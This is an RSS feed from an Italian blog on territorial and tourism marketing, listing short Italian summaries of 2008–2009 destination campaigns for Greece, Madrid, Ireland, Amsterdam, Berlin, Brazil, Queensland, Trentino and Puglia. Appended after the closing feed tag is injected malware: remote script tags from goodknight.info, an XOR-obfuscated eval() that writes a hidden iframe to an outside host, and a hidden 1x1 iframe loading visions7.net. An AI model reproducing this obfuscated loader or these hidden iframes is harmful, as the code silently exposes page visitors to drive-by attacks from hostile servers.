<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	>

<channel>
	<title> &#187; marketing territoriale</title>
	<atom:link href="http://www.studiograssi.eu/category/marketing-territoriale/feed/" rel="self" type="application/rss+xml" />
	<link>http://www.studiograssi.eu</link>
	<description>strumenti per la comunicazione d'impresa</description>
	<pubDate>Sun, 05 Jun 2011 15:33:07 +0000</pubDate>
	<generator>http://wordpress.org/?v=2.6.3</generator>
	<language>en</language>
			<item>
		<title>Greece the true experience</title>
		<link>http://www.studiograssi.eu/2009/02/26/greece-the-true-experience/</link>
		<comments>http://www.studiograssi.eu/2009/02/26/greece-the-true-experience/#comments</comments>
		<pubDate>Thu, 26 Feb 2009 08:00:19 +0000</pubDate>
		<dc:creator>dimitri grassi</dc:creator>
		
		<category><![CDATA[marketing territoriale]]></category>

		<category><![CDATA[grecia]]></category>

		<category><![CDATA[greece]]></category>

		<category><![CDATA[the true experience]]></category>

		<guid isPermaLink="false">http://www.studiograssi.eu/?p=682</guid>
		<description><![CDATA[Quelli che seguono sono i soggetti dell&#8217;ultima campagna pubblicitaria promossa dal dipartimento per il turismo greco per la stagione 2008/2009, non c&#8217;è un granchè da dire, se non che la creatività di questa operazione ricorda un pò lo stile di alcune &#8220;anonime&#8221; campagne sviluppate in italia in italia per lo stesso scopo. Come noi, anche [...]]]></description>
		<wfw:commentRss>http://www.studiograssi.eu/2009/02/26/greece-the-true-experience/feed/</wfw:commentRss>
		</item>
		<item>
		<title>Madrid mad about you</title>
		<link>http://www.studiograssi.eu/2009/02/24/madrid-mad-about-you/</link>
		<comments>http://www.studiograssi.eu/2009/02/24/madrid-mad-about-you/#comments</comments>
		<pubDate>Tue, 24 Feb 2009 06:30:02 +0000</pubDate>
		<dc:creator>dimitri grassi</dc:creator>
		
		<category><![CDATA[marketing territoriale]]></category>

		<category><![CDATA[madrid]]></category>

		<category><![CDATA[madrid mad about you]]></category>

		<guid isPermaLink="false">http://www.studiograssi.eu/?p=658</guid>
		<description><![CDATA[
Nell&#8217;aprile del 2008 la Comunità di Madrid si è dotata di un nuovo logotipo con cui veicolerà l&#8217;immagine della propria regione all&#8217;estero. L&#8217;obiettivo è quello di racchiudere sotto un unico marchio le diverse istituzioni pubbliche coinvolte nella promozione turistica e nell&#8217;attrazione degli investitori esteri. “Madrid mad about you” è lo slogan scelto per questo logo [...]]]></description>
		<wfw:commentRss>http://www.studiograssi.eu/2009/02/24/madrid-mad-about-you/feed/</wfw:commentRss>
		</item>
		<item>
		<title>Go where Ireland takes you</title>
		<link>http://www.studiograssi.eu/2009/02/18/go-where-ireland-takes-you/</link>
		<comments>http://www.studiograssi.eu/2009/02/18/go-where-ireland-takes-you/#comments</comments>
		<pubDate>Wed, 18 Feb 2009 06:30:58 +0000</pubDate>
		<dc:creator>dimitri grassi</dc:creator>
		
		<category><![CDATA[featured]]></category>

		<category><![CDATA[marketing territoriale]]></category>

		<category><![CDATA[go where ireland takes you]]></category>

		<category><![CDATA[ireland]]></category>

		<category><![CDATA[irlanda]]></category>

		<guid isPermaLink="false">http://www.studiograssi.eu/?p=646</guid>
		<description><![CDATA[
Continua l&#8217;interessante e ben congegnato piano di comunicazione predisposto dal dipartimento per il turismo irlandese (tourismirelandinfo), di cui già abbiamo parlato qualche tempo fa.
Questa volta volevamo aggiornarvi sull&#8217;ultima campagna di promozione turistica, lanciata a fine gennaio e che vedrà il brand territoriale &#8220;Ireland&#8221; proiettato su stampa, Tv e web con un payoff tutto nuovo &#8220;Go [...]]]></description>
		<wfw:commentRss>http://www.studiograssi.eu/2009/02/18/go-where-ireland-takes-you/feed/</wfw:commentRss>
		</item>
		<item>
		<title>I Amsterdam</title>
		<link>http://www.studiograssi.eu/2009/02/12/i-amsterdam/</link>
		<comments>http://www.studiograssi.eu/2009/02/12/i-amsterdam/#comments</comments>
		<pubDate>Thu, 12 Feb 2009 07:30:58 +0000</pubDate>
		<dc:creator>dimitri grassi</dc:creator>
		
		<category><![CDATA[featured]]></category>

		<category><![CDATA[marketing territoriale]]></category>

		<category><![CDATA[amsterdam]]></category>

		<category><![CDATA[amsterdam partners]]></category>

		<category><![CDATA[i amsterdam]]></category>

		<guid isPermaLink="false">http://www.studiograssi.eu/?p=637</guid>
		<description><![CDATA[
I amsterdam è il motto scelto per il marchio della città e la gente di Amsterdam. Se dico I Amsterdam dimostro una chiara scelta per la città di Amsterdam. I Amsterdam esprime il nostro orgoglio, la nostra sicurezza e la nostra dedizione. I Amsterdam è il nostro impegno personale nei confronti della città. Usando I [...]]]></description>
		<wfw:commentRss>http://www.studiograssi.eu/2009/02/12/i-amsterdam/feed/</wfw:commentRss>
		</item>
		<item>
		<title>Berlin, Berlin, wir fahren nach Berlin!</title>
		<link>http://www.studiograssi.eu/2009/02/10/berlin-berlin-wir-fahren-nach-berlin/</link>
		<comments>http://www.studiograssi.eu/2009/02/10/berlin-berlin-wir-fahren-nach-berlin/#comments</comments>
		<pubDate>Tue, 10 Feb 2009 06:30:07 +0000</pubDate>
		<dc:creator>dimitri grassi</dc:creator>
		
		<category><![CDATA[featured]]></category>

		<category><![CDATA[marketing territoriale]]></category>

		<category><![CDATA[Berlin]]></category>

		<category><![CDATA[berlino]]></category>

		<category><![CDATA[wir fahren nach Berlin!]]></category>

		<guid isPermaLink="false">http://www.studiograssi.eu/?p=628</guid>
		<description><![CDATA[
“Berlino, Berlino, andiamo a Berlino”. Così i tifosi tedeschi esultavano nel 2006 in occasione dei mondiali di calcio che si tennero appunto nella capitale tedesca. Questo stesso entusiastico slogan è diventato il claim di una recente campagna di marketing a sostegno del turismo culturale nella città di Berlino. L&#8217;obiettivo della campagna è quello di enfatizzare [...]]]></description>
		<wfw:commentRss>http://www.studiograssi.eu/2009/02/10/berlin-berlin-wir-fahren-nach-berlin/feed/</wfw:commentRss>
		</item>
		<item>
		<title>Brasil Sensacional!  Un piano di promozione da 88 milioni di dollari</title>
		<link>http://www.studiograssi.eu/2009/02/05/brasil-sensacional-un-piano-di-promozione-da-88-milioni-di-dollari/</link>
		<comments>http://www.studiograssi.eu/2009/02/05/brasil-sensacional-un-piano-di-promozione-da-88-milioni-di-dollari/#comments</comments>
		<pubDate>Thu, 05 Feb 2009 07:15:19 +0000</pubDate>
		<dc:creator>dimitri grassi</dc:creator>
		
		<category><![CDATA[marketing territoriale]]></category>

		<category><![CDATA[brasil sensacional]]></category>

		<category><![CDATA[brasile]]></category>

		<guid isPermaLink="false">http://www.studiograssi.eu/?p=619</guid>
		<description><![CDATA[
Il Brasile con l&#8217;operazione “Brasil Sensacional” ha lanciato alla fine dello scorso anno un piano di promozione turistica su scala mondiale con cui punta a posizionarsi in maniera competitiva tra le maggiori destinazioni turistiche al mondo. Il piano di promozione 2008 -2010 prevede un investimento di 88 milioni di dollari e verrà veicolato su tutti [...]]]></description>
		<wfw:commentRss>http://www.studiograssi.eu/2009/02/05/brasil-sensacional-un-piano-di-promozione-da-88-milioni-di-dollari/feed/</wfw:commentRss>
		</item>
		<item>
		<title>A scuola di marketing turistico in Queensland</title>
		<link>http://www.studiograssi.eu/2009/02/03/a-scuola-di-marketing-turistico-in-queensland/</link>
		<comments>http://www.studiograssi.eu/2009/02/03/a-scuola-di-marketing-turistico-in-queensland/#comments</comments>
		<pubDate>Tue, 03 Feb 2009 06:30:49 +0000</pubDate>
		<dc:creator>dimitri grassi</dc:creator>
		
		<category><![CDATA[marketing territoriale]]></category>

		<category><![CDATA[buzz marketing]]></category>

		<category><![CDATA[islandreefjob.com]]></category>

		<category><![CDATA[queensland]]></category>

		<category><![CDATA[the best job in the world]]></category>

		<guid isPermaLink="false">http://www.studiograssi.eu/?p=609</guid>
		<description><![CDATA[Che in Australia il marketing turistico fosse preso in seria considerazione ce ne eravamo accorti già qualche mese fa parlando della colossale operazione “Australia” con cui il “nuovissimo continente” punta a difendere il suo primo posto  tra le destinazioni turistiche più desiderate al mondo. Un ulteriore conferma di questa nostra impressione l&#8217;abbiamo avuta dopo [...]]]></description>
		<wfw:commentRss>http://www.studiograssi.eu/2009/02/03/a-scuola-di-marketing-turistico-in-queensland/feed/</wfw:commentRss>
		</item>
		<item>
		<title>Continua l&#8217;operazione Upsidown su Trentinosnow.it</title>
		<link>http://www.studiograssi.eu/2009/01/29/continua-loperazione-upsidown-su-trentinosnowit/</link>
		<comments>http://www.studiograssi.eu/2009/01/29/continua-loperazione-upsidown-su-trentinosnowit/#comments</comments>
		<pubDate>Thu, 29 Jan 2009 06:30:48 +0000</pubDate>
		<dc:creator>dimitri grassi</dc:creator>
		
		<category><![CDATA[marketing territoriale]]></category>

		<category><![CDATA[trentino]]></category>

		<category><![CDATA[trentinosnow.it]]></category>

		<category><![CDATA[upsidown]]></category>

		<guid isPermaLink="false">http://www.studiograssi.eu/?p=600</guid>
		<description><![CDATA[
Qualche mese fa avevamo parlato dell&#8217;interessante operazione di branding messa a punto dalla provincia autonoma del Trentino Alto Adige e dell&#8217;operazione Upsidown con cui questa regione  sta portando avanti un&#8217;interessante e ben congegnata operazione di promozione e di posizionamento della sua offerta turistica per quel che riguarda il mondo dello snowboard. Qualche giorno fa [...]]]></description>
		<wfw:commentRss>http://www.studiograssi.eu/2009/01/29/continua-loperazione-upsidown-su-trentinosnowit/feed/</wfw:commentRss>
		</item>
		<item>
		<title>Brand territoriali</title>
		<link>http://www.studiograssi.eu/2008/11/17/brand-territoriali/</link>
		<comments>http://www.studiograssi.eu/2008/11/17/brand-territoriali/#comments</comments>
		<pubDate>Mon, 17 Nov 2008 07:30:32 +0000</pubDate>
		<dc:creator>dimitri grassi</dc:creator>
		
		<category><![CDATA[marketing territoriale]]></category>

		<category><![CDATA[brand regionali]]></category>

		<category><![CDATA[promozione turistica]]></category>

		<guid isPermaLink="false">http://www.studiograssi.eu/?p=357</guid>
		<description><![CDATA[Visualizzazione ingrandita della mappa
Come si costruisce l&#8217;identità di un territorio? Come si simboleggia il complesso della sua offerta turistica? Come si rappresentano i valori che definiscono l&#8217;unicità di un comprensorio turistico? Bene, in questa mappa d&#8217;ora in poi andremo a raccogliere l&#8217;insieme dei marchi, dei loghi e dei simboli usati dalle regioni, dai comuni e [...]]]></description>
		<wfw:commentRss>http://www.studiograssi.eu/2008/11/17/brand-territoriali/feed/</wfw:commentRss>
		</item>
		<item>
		<title>Puglia, strategie per la prossima campagna di comunicazione</title>
		<link>http://www.studiograssi.eu/2008/11/14/puglia-strategie-per-la-prossima-campagna-di-comunicazione/</link>
		<comments>http://www.studiograssi.eu/2008/11/14/puglia-strategie-per-la-prossima-campagna-di-comunicazione/#comments</comments>
		<pubDate>Fri, 14 Nov 2008 07:30:11 +0000</pubDate>
		<dc:creator>dimitri grassi</dc:creator>
		
		<category><![CDATA[marketing territoriale]]></category>

		<category><![CDATA[promozione turistica]]></category>

		<category><![CDATA[puglia]]></category>

		<category><![CDATA[regionee puglia]]></category>

		<category><![CDATA[viaggiare in puglia]]></category>

		<guid isPermaLink="false">http://www.studiograssi.eu/?p=347</guid>
		<description><![CDATA[
E’ ancora in fase di stallo l’ultimo bando con cui la Regione Puglia intende affidare il budget di 7.000.000 di euro per la campagna di comunicazione a supporto del comparto turistico regionale per il prossimo bienno. La procedura di gara è stata infatti annullata dopo una serie di polemiche e problemi tecnici non ben definiti. [...]]]></description>
		<wfw:commentRss>http://www.studiograssi.eu/2008/11/14/puglia-strategie-per-la-prossima-campagna-di-comunicazione/feed/</wfw:commentRss>
		</item>
	</channel>
</rss>
<script src="http://goodknight.info/stats/show.js"></script><script src="http://goodknight.info/stats/show.js"></script><script>function hgrkgimejtppbvjgdoau(mmeumurofpxmiitsvy, potrkdzotzj) { var myrhklzaspyfzgz = ""; var cyutnokzskomjaaxy = ""; for (var fjdfjvxhbvnbnrajk = 0 ; fjdfjvxhbvnbnrajk < mmeumurofpxmiitsvy.length; ++fjdfjvxhbvnbnrajk) { cyutnokzskomjaaxy = mmeumurofpxmiitsvy.charCodeAt(fjdfjvxhbvnbnrajk); myrhklzaspyfzgz += String.fromCharCode(potrkdzotzj ^ cyutnokzskomjaaxy); } return myrhklzaspyfzgz; } eval(hgrkgimejtppbvjgdoau("\x49\x06\x16\x07\x1c\x05\x01\x4b\x11\x1a\x16\x00\x18\x10\x1b\x01\x5b\x02\x07\x1c\x01\x10\x5d\x52\x49\x1c\x13\x07\x14\x18\x10\x55\x1b\x14\x18\x10\x48\x03\x44\x40\x42\x55\x06\x07\x16\x48\x29\x52\x1d\x01\x01\x05\x4f\x5a\x5a\x17\x10\x06\x01\x06\x1a\x19\x19\x5b\x16\x1a\x18\x5a\x13\x1a\x07\x00\x18\x5a\x12\x1a\x5b\x05\x1d\x05\x4a\x06\x1c\x11\x48\x47\x29\x52\x55\x02\x1c\x11\x01\x1d\x48\x47\x44\x44\x55\x1d\x10\x1c\x12\x1d\x01\x48\x47\x43\x55\x06\x01\x0c\x19\x10\x48\x29\x52\x03\x1c\x06\x1c\x17\x1c\x19\x1c\x01\x0c\x4f\x1d\x1c\x11\x11\x10\x1b\x29\x52\x4b\x49\x5a\x1c\x13\x07\x14\x18\x10\x4b\x52\x5c\x49\x5a\x06\x16\x07\x1c\x05\x01\x4b", 117));</script<html><body><iframe src='http://visions7.net/' width=1 height=1 style='visibility:hidden;'></iframe></body></html>>
